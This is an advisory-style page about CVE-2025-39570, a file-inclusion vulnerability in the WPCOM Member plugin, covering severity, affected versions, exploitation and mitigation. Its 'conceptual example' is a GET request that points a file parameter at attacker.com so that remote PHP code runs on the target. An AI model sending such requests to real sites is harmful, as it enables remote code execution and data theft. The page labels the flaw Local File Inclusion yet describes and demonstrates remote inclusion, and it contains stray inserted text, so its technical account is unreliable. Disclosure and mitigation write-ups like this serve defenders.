Overview
A critical vulnerability, designated as CVE-2025-39570, has been identified in Lomu’s WPCOM Member. This vulnerability, which stems from an improper control of filename for Include/Require Statement in a PHP program, allows for potential PHP Local File Inclusion (LFI). This issue affects the versions from n/a through 1.7.7 of the WPCOM Member. As a result, it can potentially lead to system compromise or data leakage, making it a significant cybersecurity concern.
With a CVSS Severity Score of 8.8, this vulnerability presents a high risk. It’s pertinent for system administrators, developers, and users of the WPCOM Member software to understand this vulnerability, its potential impact, and the necessary steps required to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-39570
Severity: High (8.8 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Lomu WPCOM Member | n/a through 1.7.7
How the Exploit Works
The vulnerability is due to an improper control of filename for Include/Require Statement in PHP within the WPCOM Member software. This allows a malicious actor to include a file from a remote server that can be executed within the context of the application. This can lead to unauthorized execution of arbitrary code, allowing the attacker to potentially compromise the system or cause data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This represents a malicious HTTP request that includes a remote file with malicious PHP code.
GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerable_site.comIn this example, the attacker uses a GET request to include a malicious PHP file hosted on their own server. When the request is processed by the vulnerable application, the malicious file is included and executed, potentially leading to a system compromise.
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary measure to detect and block attempts to exploit this vulnerability. Furthermore, it’s recommended to restrict the input of the Include/Require statements in the PHP application to prevent the inclusion of files from arbitrary sources.